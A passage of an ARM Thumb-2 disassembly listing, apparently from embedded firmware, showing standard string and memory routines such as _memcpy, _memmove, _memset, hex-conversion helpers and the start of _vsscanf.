nop 10106b08: 1007c140 .word 0x1007c140 10106b0c: 1007c240 .word 0x1007c240 10106b10: 10106265 .word 0x10106265 10106b14 <_char2num>: 10106b14: f1a0 0330 sub.w r3, r0, #48 ; 0x30 10106b18: 4602 mov r2, r0 10106b1a: b2d8 uxtb r0, r3 10106b1c: 2809 cmp r0, #9 10106b1e: d908 bls.n 10106b32 <_char2num+0x1e> 10106b20: f1a2 0361 sub.w r3, r2, #97 ; 0x61 10106b24: 2b05 cmp r3, #5 10106b26: d905 bls.n 10106b34 <_char2num+0x20> 10106b28: f1a2 0341 sub.w r3, r2, #65 ; 0x41 10106b2c: 2b05 cmp r3, #5 10106b2e: d905 bls.n 10106b3c <_char2num+0x28> 10106b30: 20ff movs r0, #255 ; 0xff 10106b32: 4770 bx lr 10106b34: f1a2 0057 sub.w r0, r2, #87 ; 0x57 10106b38: b2c0 uxtb r0, r0 10106b3a: 4770 bx lr 10106b3c: f1a2 0037 sub.w r0, r2, #55 ; 0x37 10106b40: b2c0 uxtb r0, r0 10106b42: 4770 bx lr 10106b44 <_2char2dec>: 10106b44: f1a0 0330 sub.w r3, r0, #48 ; 0x30 10106b48: b2db uxtb r3, r3 10106b4a: 2b09 cmp r3, #9 10106b4c: d817 bhi.n 10106b7e <_2char2dec+0x3a> 10106b4e: eb03 0083 add.w r0, r3, r3, lsl #2 10106b52: 0040 lsls r0, r0, #1 10106b54: b2c0 uxtb r0, r0 10106b56: f1a1 0330 sub.w r3, r1, #48 ; 0x30 10106b5a: b2db uxtb r3, r3 10106b5c: 2b09 cmp r3, #9 10106b5e: d90b bls.n 10106b78 <_2char2dec+0x34> 10106b60: f1a1 0361 sub.w r3, r1, #97 ; 0x61 10106b64: 2b05 cmp r3, #5 10106b66: d91a bls.n 10106b9e <_2char2dec+0x5a> 10106b68: f1a1 0341 sub.w r3, r1, #65 ; 0x41 10106b6c: 2b05 cmp r3, #5 10106b6e: bf8e itee hi 10106b70: 23ff movhi r3, #255 ; 0xff 10106b72: f1a1 0337 subls.w r3, r1, #55 ; 0x37 10106b76: b2db uxtbls r3, r3 10106b78: 4418 add r0, r3 10106b7a: b2c0 uxtb r0, r0 10106b7c: 4770 bx lr 10106b7e: f1a0 0361 sub.w r3, r0, #97 ; 0x61 10106b82: 2b05 cmp r3, #5 10106b84: d805 bhi.n 10106b92 <_2char2dec+0x4e> 10106b86: 3857 subs r0, #87 ; 0x57 10106b88: eb00 0080 add.w r0, r0, r0, lsl #2 10106b8c: 0040 lsls r0, r0, #1 10106b8e: b2c0 uxtb r0, r0 10106b90: e7e1 b.n 10106b56 <_2char2dec+0x12> 10106b92: f1a0 0341 sub.w r3, r0, #65 ; 0x41 10106b96: 2b05 cmp r3, #5 10106b98: d907 bls.n 10106baa <_2char2dec+0x66> 10106b9a: 20f6 movs r0, #246 ; 0xf6 10106b9c: e7db b.n 10106b56 <_2char2dec+0x12> 10106b9e: f1a1 0357 sub.w r3, r1, #87 ; 0x57 10106ba2: b2db uxtb r3, r3 10106ba4: 4418 add r0, r3 10106ba6: b2c0 uxtb r0, r0 10106ba8: 4770 bx lr 10106baa: 3837 subs r0, #55 ; 0x37 10106bac: eb00 0080 add.w r0, r0, r0, lsl #2 10106bb0: 0040 lsls r0, r0, #1 10106bb2: b2c0 uxtb r0, r0 10106bb4: e7cf b.n 10106b56 <_2char2dec+0x12> 10106bb6: bf00 nop 10106bb8 <_2char2hex>: 10106bb8: f1a0 0330 sub.w r3, r0, #48 ; 0x30 10106bbc: b2db uxtb r3, r3 10106bbe: 2b09 cmp r3, #9 10106bc0: d819 bhi.n 10106bf6 <_2char2hex+0x3e> 10106bc2: 0118 lsls r0, r3, #4 10106bc4: b243 sxtb r3, r0 10106bc6: f1a1 0030 sub.w r0, r1, #48 ; 0x30 10106bca: b2c0 uxtb r0, r0 10106bcc: 2809 cmp r0, #9 10106bce: d90f bls.n 10106bf0 <_2char2hex+0x38> 10106bd0: f1a1 0261 sub.w r2, r1, #97 ; 0x61 10106bd4: 2a05 cmp r2, #5 10106bd6: d909 bls.n 10106bec <_2char2hex+0x34> 10106bd8: f1a1 0241 sub.w r2, r1, #65 ; 0x41 10106bdc: 2a05 cmp r2, #5 10106bde: bf9d ittte ls 10106be0: f1a1 0037 subls.w r0, r1, #55 ; 0x37 10106be4: 4318 orrls r0, r3 10106be6: b2c0 uxtbls r0, r0 10106be8: 20ff movhi r0, #255 ; 0xff 10106bea: 4770 bx lr 10106bec: f1a1 0057 sub.w r0, r1, #87 ; 0x57 10106bf0: 4318 orrs r0, r3 10106bf2: b2c0 uxtb r0, r0 10106bf4: 4770 bx lr 10106bf6: f1a0 0361 sub.w r3, r0, #97 ; 0x61 10106bfa: 2b05 cmp r3, #5 10106bfc: d804 bhi.n 10106c08 <_2char2hex+0x50> 10106bfe: 3857 subs r0, #87 ; 0x57 10106c00: f340 0003 sbfx r0, r0, #0, #4 10106c04: 0103 lsls r3, r0, #4 10106c06: e7de b.n 10106bc6 <_2char2hex+0xe> 10106c08: f1a0 0341 sub.w r3, r0, #65 ; 0x41 10106c0c: 2b05 cmp r3, #5 10106c0e: bf9d ittte ls 10106c10: 3837 subls r0, #55 ; 0x37 10106c12: f340 0003 sbfxls r0, r0, #0, #4 10106c16: 0103 lslls r3, r0, #4 10106c18: f06f 030f mvnhi.w r3, #15 10106c1c: e7d3 b.n 10106bc6 <_2char2hex+0xe> 10106c1e: bf00 nop 10106c20 <_memchr>: 10106c20: 0783 lsls r3, r0, #30 10106c22: b470 push {r4, r5, r6} 10106c24: b2cd uxtb r5, r1 10106c26: d03e beq.n 10106ca6 <_memchr+0x86> 10106c28: 1e54 subs r4, r2, #1 10106c2a: b30a cbz r2, 10106c70 <_memchr+0x50> 10106c2c: 7803 ldrb r3, [r0, #0] 10106c2e: 42ab cmp r3, r5 10106c30: d01f beq.n 10106c72 <_memchr+0x52> 10106c32: 1c43 adds r3, r0, #1 10106c34: e005 b.n 10106c42 <_memchr+0x22> 10106c36: f114 34ff adds.w r4, r4, #4294967295 10106c3a: d319 bcc.n 10106c70 <_memchr+0x50> 10106c3c: 7802 ldrb r2, [r0, #0] 10106c3e: 42aa cmp r2, r5 10106c40: d017 beq.n 10106c72 <_memchr+0x52> 10106c42: f013 0f03 tst.w r3, #3 10106c46: 4618 mov r0, r3 10106c48: f103 0301 add.w r3, r3, #1 10106c4c: d1f3 bne.n 10106c36 <_memchr+0x16> 10106c4e: 2c03 cmp r4, #3 10106c50: d811 bhi.n 10106c76 <_memchr+0x56> 10106c52: b354 cbz r4, 10106caa <_memchr+0x8a> 10106c54: 7803 ldrb r3, [r0, #0] 10106c56: 42ab cmp r3, r5 10106c58: d00b beq.n 10106c72 <_memchr+0x52> 10106c5a: 4404 add r4, r0 10106c5c: 1c43 adds r3, r0, #1 10106c5e: e002 b.n 10106c66 <_memchr+0x46> 10106c60: 7802 ldrb r2, [r0, #0] 10106c62: 42aa cmp r2, r5 10106c64: d005 beq.n 10106c72 <_memchr+0x52> 10106c66: 429c cmp r4, r3 10106c68: 4618 mov r0, r3 10106c6a: f103 0301 add.w r3, r3, #1 10106c6e: d1f7 bne.n 10106c60 <_memchr+0x40> 10106c70: 2000 movs r0, #0 10106c72: bc70 pop {r4, r5, r6} 10106c74: 4770 bx lr 10106c76: 4602 mov r2, r0 10106c78: 020e lsls r6, r1, #8 10106c7a: f406 467f and.w r6, r6, #65280 ; 0xff00 10106c7e: 432e orrs r6, r5 10106c80: ea46 4606 orr.w r6, r6, r6, lsl #16 10106c84: 6813 ldr r3, [r2, #0] 10106c86: 4073 eors r3, r6 10106c88: f1a3 3101 sub.w r1, r3, #16843009 ; 0x1010101 10106c8c: ea21 0303 bic.w r3, r1, r3 10106c90: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 10106c94: 4610 mov r0, r2 10106c96: f102 0204 add.w r2, r2, #4 10106c9a: d1db bne.n 10106c54 <_memchr+0x34> 10106c9c: 3c04 subs r4, #4 10106c9e: 2c03 cmp r4, #3 10106ca0: 4610 mov r0, r2 10106ca2: d8ef bhi.n 10106c84 <_memchr+0x64> 10106ca4: e7d5 b.n 10106c52 <_memchr+0x32> 10106ca6: 4614 mov r4, r2 10106ca8: e7d1 b.n 10106c4e <_memchr+0x2e> 10106caa: 4620 mov r0, r4 10106cac: e7e1 b.n 10106c72 <_memchr+0x52> 10106cae: bf00 nop 10106cb0 <_memcmp>: 10106cb0: 2a03 cmp r2, #3 10106cb2: b470 push {r4, r5, r6} 10106cb4: d926 bls.n 10106d04 <_memcmp+0x54> 10106cb6: ea40 0301 orr.w r3, r0, r1 10106cba: 079b lsls r3, r3, #30 10106cbc: d011 beq.n 10106ce2 <_memcmp+0x32> 10106cbe: 7803 ldrb r3, [r0, #0] 10106cc0: 780c ldrb r4, [r1, #0] 10106cc2: 42a3 cmp r3, r4 10106cc4: d122 bne.n 10106d0c <_memcmp+0x5c> 10106cc6: 440a add r2, r1 10106cc8: 3101 adds r1, #1 10106cca: e005 b.n 10106cd8 <_memcmp+0x28> 10106ccc: f810 3f01 ldrb.w r3, [r0, #1]! 10106cd0: f811 4b01 ldrb.w r4, [r1], #1 10106cd4: 42a3 cmp r3, r4 10106cd6: d119 bne.n 10106d0c <_memcmp+0x5c> 10106cd8: 4291 cmp r1, r2 10106cda: d1f7 bne.n 10106ccc <_memcmp+0x1c> 10106cdc: 2000 movs r0, #0 10106cde: bc70 pop {r4, r5, r6} 10106ce0: 4770 bx lr 10106ce2: 460c mov r4, r1 10106ce4: 4603 mov r3, r0 10106ce6: 681e ldr r6, [r3, #0] 10106ce8: 6825 ldr r5, [r4, #0] 10106cea: 42ae cmp r6, r5 10106cec: 4618 mov r0, r3 10106cee: 4621 mov r1, r4 10106cf0: f103 0304 add.w r3, r3, #4 10106cf4: f104 0404 add.w r4, r4, #4 10106cf8: d1e1 bne.n 10106cbe <_memcmp+0xe> 10106cfa: 3a04 subs r2, #4 10106cfc: 2a03 cmp r2, #3 10106cfe: 4618 mov r0, r3 10106d00: 4621 mov r1, r4 10106d02: d8f0 bhi.n 10106ce6 <_memcmp+0x36> 10106d04: 2a00 cmp r2, #0 10106d06: d1da bne.n 10106cbe <_memcmp+0xe> 10106d08: 4610 mov r0, r2 10106d0a: e7e8 b.n 10106cde <_memcmp+0x2e> 10106d0c: 1b18 subs r0, r3, r4 10106d0e: bc70 pop {r4, r5, r6} 10106d10: 4770 bx lr 10106d12: bf00 nop 10106d14 <_memcpy>: 10106d14: 2a0f cmp r2, #15 10106d16: b5f0 push {r4, r5, r6, r7, lr} 10106d18: d94a bls.n 10106db0 <_memcpy+0x9c> 10106d1a: ea41 0300 orr.w r3, r1, r0 10106d1e: 079b lsls r3, r3, #30 10106d20: d148 bne.n 10106db4 <_memcpy+0xa0> 10106d22: 4694 mov ip, r2 10106d24: f100 0e10 add.w lr, r0, #16 10106d28: f101 0310 add.w r3, r1, #16 10106d2c: f853 7c10 ldr.w r7, [r3, #-16] 10106d30: f853 6c0c ldr.w r6, [r3, #-12] 10106d34: f853 5c08 ldr.w r5, [r3, #-8] 10106d38: f853 4c04 ldr.w r4, [r3, #-4] 10106d3c: f1ac 0c10 sub.w ip, ip, #16 10106d40: f1bc 0f0f cmp.w ip, #15 10106d44: f84e 7c10 str.w r7, [lr, #-16] 10106d48: f84e 6c0c str.w r6, [lr, #-12] 10106d4c: f84e 5c08 str.w r5, [lr, #-8] 10106d50: f84e 4c04 str.w r4, [lr, #-4] 10106d54: f103 0310 add.w r3, r3, #16 10106d58: f10e 0e10 add.w lr, lr, #16 10106d5c: d8e6 bhi.n 10106d2c <_memcpy+0x18> 10106d5e: f1a2 0310 sub.w r3, r2, #16 10106d62: f023 030f bic.w r3, r3, #15 10106d66: f002 0e0f and.w lr, r2, #15 10106d6a: 3310 adds r3, #16 10106d6c: f1be 0f03 cmp.w lr, #3 10106d70: 4419 add r1, r3 10106d72: 4403 add r3, r0 10106d74: d921 bls.n 10106dba <_memcpy+0xa6> 10106d76: 460e mov r6, r1 10106d78: 4674 mov r4, lr 10106d7a: 1f1d subs r5, r3, #4 10106d7c: f856 7b04 ldr.w r7, [r6], #4 10106d80: 3c04 subs r4, #4 10106d82: 2c03 cmp r4, #3 10106d84: f845 7f04 str.w r7, [r5, #4]! 10106d88: d8f8 bhi.n 10106d7c <_memcpy+0x68> 10106d8a: f1ae 0404 sub.w r4, lr, #4 10106d8e: f024 0403 bic.w r4, r4, #3 10106d92: 3404 adds r4, #4 10106d94: 4423 add r3, r4 10106d96: 4421 add r1, r4 10106d98: f002 0203 and.w r2, r2, #3 10106d9c: b162 cbz r2, 10106db8 <_memcpy+0xa4> 10106d9e: 3b01 subs r3, #1 10106da0: 440a add r2, r1 10106da2: f811 4b01 ldrb.w r4, [r1], #1 10106da6: 4291 cmp r1, r2 10106da8: f803 4f01 strb.w r4, [r3, #1]! 10106dac: d1f9 bne.n 10106da2 <_memcpy+0x8e> 10106dae: bdf0 pop {r4, r5, r6, r7, pc} 10106db0: 4603 mov r3, r0 10106db2: e7f3 b.n 10106d9c <_memcpy+0x88> 10106db4: 4603 mov r3, r0 10106db6: e7f2 b.n 10106d9e <_memcpy+0x8a> 10106db8: bdf0 pop {r4, r5, r6, r7, pc} 10106dba: 4672 mov r2, lr 10106dbc: e7ee b.n 10106d9c <_memcpy+0x88> 10106dbe: bf00 nop 10106dc0 <_memmove>: 10106dc0: 4288 cmp r0, r1 10106dc2: b5f0 push {r4, r5, r6, r7, lr} 10106dc4: d90d bls.n 10106de2 <_memmove+0x22> 10106dc6: 188b adds r3, r1, r2 10106dc8: 4298 cmp r0, r3 10106dca: d20a bcs.n 10106de2 <_memmove+0x22> 10106dcc: 1881 adds r1, r0, r2 10106dce: 2a00 cmp r2, #0 10106dd0: d051 beq.n 10106e76 <_memmove+0xb6> 10106dd2: 1a9a subs r2, r3, r2 10106dd4: f813 4d01 ldrb.w r4, [r3, #-1]! 10106dd8: 4293 cmp r3, r2 10106dda: f801 4d01 strb.w r4, [r1, #-1]! 10106dde: d1f9 bne.n 10106dd4 <_memmove+0x14> 10106de0: bdf0 pop {r4, r5, r6, r7, pc} 10106de2: 2a0f cmp r2, #15 10106de4: d948 bls.n 10106e78 <_memmove+0xb8> 10106de6: ea41 0300 orr.w r3, r1, r0 10106dea: 079b lsls r3, r3, #30 10106dec: d146 bne.n 10106e7c <_memmove+0xbc> 10106dee: 4615 mov r5, r2 10106df0: f100 0410 add.w r4, r0, #16 10106df4: f101 0310 add.w r3, r1, #16 10106df8: f853 6c10 ldr.w r6, [r3, #-16] 10106dfc: f844 6c10 str.w r6, [r4, #-16] 10106e00: f853 6c0c ldr.w r6, [r3, #-12] 10106e04: f844 6c0c str.w r6, [r4, #-12] 10106e08: f853 6c08 ldr.w r6, [r3, #-8] 10106e0c: f844 6c08 str.w r6, [r4, #-8] 10106e10: 3d10 subs r5, #16 10106e12: f853 6c04 ldr.w r6, [r3, #-4] 10106e16: 2d0f cmp r5, #15 10106e18: f844 6c04 str.w r6, [r4, #-4] 10106e1c: f103 0310 add.w r3, r3, #16 10106e20: f104 0410 add.w r4, r4, #16 10106e24: d8e8 bhi.n 10106df8 <_memmove+0x38> 10106e26: f1a2 0310 sub.w r3, r2, #16 10106e2a: f023 030f bic.w r3, r3, #15 10106e2e: f002 0e0f and.w lr, r2, #15 10106e32: 3310 adds r3, #16 10106e34: f1be 0f03 cmp.w lr, #3 10106e38: 4419 add r1, r3 10106e3a: 4403 add r3, r0 10106e3c: d921 bls.n 10106e82 <_memmove+0xc2> 10106e3e: 460e mov r6, r1 10106e40: 4674 mov r4, lr 10106e42: 1f1d subs r5, r3, #4 10106e44: f856 7b04 ldr.w r7, [r6], #4 10106e48: 3c04 subs r4, #4 10106e4a: 2c03 cmp r4, #3 10106e4c: f845 7f04 str.w r7, [r5, #4]! 10106e50: d8f8 bhi.n 10106e44 <_memmove+0x84> 10106e52: f1ae 0404 sub.w r4, lr, #4 10106e56: f024 0403 bic.w r4, r4, #3 10106e5a: 3404 adds r4, #4 10106e5c: 4423 add r3, r4 10106e5e: 4421 add r1, r4 10106e60: f002 0203 and.w r2, r2, #3 10106e64: b162 cbz r2, 10106e80 <_memmove+0xc0> 10106e66: 3b01 subs r3, #1 10106e68: 440a add r2, r1 10106e6a: f811 4b01 ldrb.w r4, [r1], #1 10106e6e: 428a cmp r2, r1 10106e70: f803 4f01 strb.w r4, [r3, #1]! 10106e74: d1f9 bne.n 10106e6a <_memmove+0xaa> 10106e76: bdf0 pop {r4, r5, r6, r7, pc} 10106e78: 4603 mov r3, r0 10106e7a: e7f3 b.n 10106e64 <_memmove+0xa4> 10106e7c: 4603 mov r3, r0 10106e7e: e7f2 b.n 10106e66 <_memmove+0xa6> 10106e80: bdf0 pop {r4, r5, r6, r7, pc} 10106e82: 4672 mov r2, lr 10106e84: e7ee b.n 10106e64 <_memmove+0xa4> 10106e86: bf00 nop 10106e88 <_memset>: 10106e88: b470 push {r4, r5, r6} 10106e8a: 0786 lsls r6, r0, #30 10106e8c: d046 beq.n 10106f1c <_memset+0x94> 10106e8e: 1e54 subs r4, r2, #1 10106e90: 2a00 cmp r2, #0 10106e92: d041 beq.n 10106f18 <_memset+0x90> 10106e94: b2ca uxtb r2, r1 10106e96: 4603 mov r3, r0 10106e98: e002 b.n 10106ea0 <_memset+0x18> 10106e9a: f114 34ff adds.w r4, r4, #4294967295 10106e9e: d33b bcc.n 10106f18 <_memset+0x90> 10106ea0: f803 2b01 strb.w r2, [r3], #1 10106ea4: 079d lsls r5, r3, #30 10106ea6: d1f8 bne.n 10106e9a <_memset+0x12> 10106ea8: 2c03 cmp r4, #3 10106eaa: d92e bls.n 10106f0a <_memset+0x82> 10106eac: b2cd uxtb r5, r1 10106eae: ea45 2505 orr.w r5, r5, r5, lsl #8 10106eb2: 2c0f cmp r4, #15 10106eb4: ea45 4505 orr.w r5, r5, r5, lsl #16 10106eb8: d919 bls.n 10106eee <_memset+0x66> 10106eba: 4626 mov r6, r4 10106ebc: f103 0210 add.w r2, r3, #16 10106ec0: 3e10 subs r6, #16 10106ec2: 2e0f cmp r6, #15 10106ec4: f842 5c10 str.w r5, [r2, #-16] 10106ec8: f842 5c0c str.w r5, [r2, #-12] 10106ecc: f842 5c08 str.w r5, [r2, #-8] 10106ed0: f842 5c04 str.w r5, [r2, #-4] 10106ed4: f102 0210 add.w r2, r2, #16 10106ed8: d8f2 bhi.n 10106ec0 <_memset+0x38> 10106eda: f1a4 0210 sub.w r2, r4, #16 10106ede: f022 020f bic.w r2, r2, #15 10106ee2: f004 040f and.w r4, r4, #15 10106ee6: 3210 adds r2, #16 10106ee8: 2c03 cmp r4, #3 10106eea: 4413 add r3, r2 10106eec: d90d bls.n 10106f0a <_memset+0x82> 10106eee: 461e mov r6, r3 10106ef0: 4622 mov r2, r4 10106ef2: 3a04 subs r2, #4 10106ef4: 2a03 cmp r2, #3 10106ef6: f846 5b04 str.w r5, [r6], #4 10106efa: d8fa bhi.n 10106ef2 <_memset+0x6a> 10106efc: 1f22 subs r2, r4, #4 10106efe: f022 0203 bic.w r2, r2, #3 10106f02: 3204 adds r2, #4 10106f04: 4413 add r3, r2 10106f06: f004 0403 and.w r4, r4, #3 10106f0a: b12c cbz r4, 10106f18 <_memset+0x90> 10106f0c: b2c9 uxtb r1, r1 10106f0e: 441c add r4, r3 10106f10: f803 1b01 strb.w r1, [r3], #1 10106f14: 42a3 cmp r3, r4 10106f16: d1fb bne.n 10106f10 <_memset+0x88> 10106f18: bc70 pop {r4, r5, r6} 10106f1a: 4770 bx lr 10106f1c: 4614 mov r4, r2 10106f1e: 4603 mov r3, r0 10106f20: e7c2 b.n 10106ea8 <_memset+0x20> 10106f22: bf00 nop 10106f24 <judge_digit_width>: 10106f24: 2910 cmp r1, #16 10106f26: b410 push {r4} 10106f28: d02b beq.n 10106f82 <judge_digit_width+0x5e> 10106f2a: b191 cbz r1, 10106f52 <judge_digit_width+0x2e> 10106f2c: 2908 cmp r1, #8 10106f2e: d03e beq.n 10106fae <judge_digit_width+0x8a> 10106f30: 7803 ldrb r3, [r0, #0] 10106f32: 3b30 subs r3, #48 ; 0x30 10106f34: 2b09 cmp r3, #9 10106f36: f04f 0100 mov.w r1, #0 10106f3a: d806 bhi.n 10106f4a <judge_digit_width+0x26> 10106f3c: f810 3f01 ldrb.w r3, [r0, #1]! 10106f40: 3b30 subs r3, #48 ; 0x30 10106f42: 2b09 cmp r3, #9 10106f44: f101 0101 add.w r1, r1, #1 10106f48: d9f8 bls.n 10106f3c <judge_digit_width+0x18> 10106f4a: 4608 mov r0, r1 10106f4c: f85d 4b04 ldr.w r4, [sp], #4 10106f50: 4770 bx lr 10106f52: 7803 ldrb r3, [r0, #0] 10106f54: 2b30 cmp r3, #48 ; 0x30 10106f56: d1ec bne.n 10106f32 <judge_digit_width+0xe> 10106f58: 7843 ldrb r3, [r0, #1] 10106f5a: f043 0320 orr.w r3, r3, #32 10106f5e: 2b78 cmp r3, #120 ; 0x78 10106f60: d12b bne.n 10106fba <judge_digit_width+0x96> 10106f62: 3001 adds r0, #1 10106f64: 2102 movs r1, #2 10106f66: e000 b.n 10106f6a <judge_digit_width+0x46> 10106f68: 3101 adds r1, #1 10106f6a: f810 3f01 ldrb.w r3, [r0, #1]! 10106f6e: f023 0220 bic.w r2, r3, #32 10106f72: 3b30 subs r3, #48 ; 0x30 10106f74: 2b09 cmp r3, #9 10106f76: f1a2 0241 sub.w r2, r2, #65 ; 0x41 10106f7a: d9f5 bls.n 10106f68 <judge_digit_width+0x44> 10106f7c: 2a05 cmp r2, #5 10106f7e: d9f3 bls.n 10106f68 <judge_digit_width+0x44> 10106f80: e7e3 b.n 10106f4a <judge_digit_width+0x26> 10106f82: 7803 ldrb r3, [r0, #0] 10106f84: 2b30 cmp r3, #48 ; 0x30 10106f86: d027 beq.n 10106fd8 <judge_digit_width+0xb4> 10106f88: 4604 mov r4, r0 10106f8a: e001 b.n 10106f90 <judge_digit_width+0x6c> 10106f8c: f814 3f01 ldrb.w r3, [r4, #1]! 10106f90: f023 0220 bic.w r2, r3, #32 10106f94: 3b30 subs r3, #48 ; 0x30 10106f96: 2b09 cmp r3, #9 10106f98: f1a2 0241 sub.w r2, r2, #65 ; 0x41 10106f9c: eba4 0100 sub.w r1, r4, r0 10106fa0: d9f4 bls.n 10106f8c <judge_digit_width+0x68> 10106fa2: 2a05 cmp r2, #5 10106fa4: d9f2 bls.n 10106f8c <judge_digit_width+0x68> 10106fa6: 4608 mov r0, r1 10106fa8: f85d 4b04 ldr.w r4, [sp], #4 10106fac: 4770 bx lr 10106fae: 7803 ldrb r3, [r0, #0] 10106fb0: 3b30 subs r3, #48 ; 0x30 10106fb2: 2b07 cmp r3, #7 10106fb4: f04f 0100 mov.w r1, #0 10106fb8: d8c7 bhi.n 10106f4a <judge_digit_width+0x26> 10106fba: f810 3f01 ldrb.w r3, [r0, #1]! 10106fbe: 3b30 subs r3, #48 ; 0x30 10106fc0: 2b07 cmp r3, #7 10106fc2: f101 0101 add.w r1, r1, #1 10106fc6: d8c0 bhi.n 10106f4a <judge_digit_width+0x26> 10106fc8: f810 3f01 ldrb.w r3, [r0, #1]! 10106fcc: 3b30 subs r3, #48 ; 0x30 10106fce: 2b07 cmp r3, #7 10106fd0: f101 0101 add.w r1, r1, #1 10106fd4: d9f1 bls.n 10106fba <judge_digit_width+0x96> 10106fd6: e7b8 b.n 10106f4a <judge_digit_width+0x26> 10106fd8: 7842 ldrb r2, [r0, #1] 10106fda: f042 0220 orr.w r2, r2, #32 10106fde: 2a78 cmp r2, #120 ; 0x78 10106fe0: d0bf beq.n 10106f62 <judge_digit_width+0x3e> 10106fe2: e7d1 b.n 10106f88 <judge_digit_width+0x64> 10106fe4 <_vsscanf>: 10106fe4: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10106fe8: 460f mov r7, r1 10106fea: 2100 movs r1, #0 10106fec: b08d sub sp, #52 ; 0x34 10106fee: 9002 str r0, [sp, #8] 10106ff0: 4692 mov sl, r2 10106ff2: f10d 092f add.w r9, sp, #47 ; 0x2f 10106ff6: f10d 0217 add.w r2, sp, #23 10106ffa: f802 1f01 strb.w r1, [r2, #1]! 10106ffe: 454a cmp r2, r9 10107000: d1fb bne.n 10106ffa <_vsscanf+0x16> 10107002: f04f 0b00 mov.w fp, #0 10107006: 783a ldrb r2, [r7, #0] 10107008: 9c02 ldr r4, [sp, #8] 1010700a: b37a cbz r2, 1010706c <_vsscanf+0x88> 1010700c: 2a20 cmp r2, #32 1010700e: d00f beq.n 10107030 <_vsscanf+0x4c> 10107010: f1a2 0109 sub.w r1, r2, #9 10107014: 2904 cmp r1, #4 10107016: d90b bls.n 10107030 <_vsscanf+0x4c> 10107018: 2a2c cmp r2, #44 ; 0x2c 1010701a: d009 beq.n 10107030 <_vsscanf+0x4c> 1010701c: 2a25 cmp r2, #37 ; 0x25 1010701e: 463d mov r5, r7 10107020: d028 beq.n 10107074 <_vsscanf+0x90> 10107022: 7821 ldrb r1, [r4, #0] 10107024: 4291 cmp r1, r2 10107026: d121 bne.n 1010706c <_vsscanf+0x88> 10107028: 3401 adds r4, #1 1010702a: 1c6f adds r7, r5, #1 1010702c: 786a ldrb r2, [r5, #1] 1010702e: e7ec b.n 1010700a <_vsscanf+0x26> 10107030: 3701 adds r7, #1 10107032: 783a ldrb r2, [r7, #0] 10107034: 2a20 cmp r2, #32 10107036: 463d mov r5, r7 10107038: f1a2 0309 sub.w r3, r2, #9 1010703c: f107 0701 add.w r7, r7, #1 10107040: d0f7 beq.n 10107032 <_vsscanf+0x4e> 10107042: 2b04 cmp r3, #4 10107044: d9f5 bls.n 10107032 <_vsscanf+0x4e> 10107046: 2a2c cmp r2, #44 ; 0x2c 10107048: d0f3 beq.n 10107032 <_vsscanf+0x4e> 1010704a: 4620 mov r0, r4 1010704c: 7801 ldrb r1, [r0, #0] 1010704e: 2920 cmp r1, #32 10107050: 4604 mov r4, r0 10107052: f1a1 0309 sub.w r3, r1, #9 10107056: f100 0001 add.w r0, r0, #1 1010705a: d0f7 beq.n 1010704c <_vsscanf+0x68> 1010705c: 2b04 cmp r3, #4 1010705e: d9f5 bls.n 1010704c <_vsscanf+0x68> 10107060: 292c cmp r1, #44 ; 0x2c 10107062: d0f3 beq.n 1010704c <_vsscanf+0x68> 10107064: 2a25 cmp r2, #37 ; 0x25 10107066: d005 beq.n 10107074 <_vsscanf+0x90> 10107068: 2a00 cmp r2, #0 1010706a: d1db bne.n 10107024 <_vsscanf+0x40> 1010706c: 4658 mov r0, fp 1010706e: b00d add sp, #52 ; 0x34 10107070: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107074: 786a ldrb r2, [r5, #1] 10107076: 2a2a cmp r2, #42 ; 0x2a 10107078: f105 0501 add.w r5, r5, #1 1010707c: f000 80f5 beq.w 1010726a <_vsscanf+0x286> 10107080: f1a2 0130 sub.w r1, r2, #48 ; 0x30 10107084: 2909 cmp r1, #9 10107086: f200 80d9 bhi.w 1010723c <_vsscanf+0x258> 1010708a: f04f 0800 mov.w r8, #0 1010708e: eb08 0888 add.w r8, r8, r8, lsl #2 10107092: eb02 0848 add.w r8, r2, r8, lsl #1 10107096: f815 2f01 ldrb.w r2, [r5, #1]! 1010709a: f1a2 0330 sub.w r3, r2, #48 ; 0x30 1010709e: 2b09 cmp r3, #9 101070a0: f1a8 0830 sub.w r8, r8, #48 ; 0x30 101070a4: d9f3 bls.n 1010708e <_vsscanf+0xaa> 101070a6: fa0f f888 sxth.w r8, r8 101070aa: f1b8 0f00 cmp.w r8, #0 101070ae: dddd ble.n 1010706c <_vsscanf+0x88> 101070b0: 2a68 cmp r2, #104 ; 0x68 101070b2: 9201 str r2, [sp, #4] 101070b4: f000 80c8 beq.w 10107248 <_vsscanf+0x264> 101070b8: f042 0120 orr.w r1, r2, #32 101070bc: 296c cmp r1, #108 ; 0x6c 101070be: f000 80cb beq.w 10107258 <_vsscanf+0x274> 101070c2: 297a cmp r1, #122 ; 0x7a 101070c4: f000 80c8 beq.w 10107258 <_vsscanf+0x274> 101070c8: 23ff movs r3, #255 ; 0xff 101070ca: 9301 str r3, [sp, #4] 101070cc: 2a00 cmp r2, #0 101070ce: d0cd beq.n 1010706c <_vsscanf+0x88> 101070d0: 2a6e cmp r2, #110 ; 0x6e 101070d2: f000 80f0 beq.w 101072b6 <_vsscanf+0x2d2> 101070d6: 7826 ldrb r6, [r4, #0] 101070d8: 2e00 cmp r6, #0 101070da: d0c7 beq.n 1010706c <_vsscanf+0x88> 101070dc: 3a25 subs r2, #37 ; 0x25 101070de: 1c6f adds r7, r5, #1 101070e0: 2a53 cmp r2, #83 ; 0x53 101070e2: d8c3 bhi.n 1010706c <_vsscanf+0x88> 101070e4: a301 add r3, pc, #4 ; (adr r3, 101070ec <_vsscanf+0x108>) 101070e6: f853 f022 ldr.w pc, [r3, r2, lsl #2] 101070ea: bf00 nop 101070ec: 101074a1 .word 0x101074a1 101070f0: 1010706d .word 0x1010706d 101070f4: 1010706d .word 0x1010706d 101070f8: 1010706d .word 0x1010706d 101070fc: 1010706d .word 0x1010706d 10107100: 1010706d .word 0x1010706d 10107104: 1010706d .word 0x1010706d 10107108: 1010706d .word 0x1010706d 1010710c: 1010706d .word 0x1010706d 10107110: 1010706d .word 0x1010706d 10107114: 1010706d .word 0x1010706d 10107118: 1010706d .word 0x1010706d 1010711c: 1010706d .word 0x1010706d 10107120: 1010706d .word 0x1010706d 10107124: 1010706d .word 0x1010706d 10107128: 1010706d .word 0x1010706d 1010712c: 1010706d .word 0x1010706d 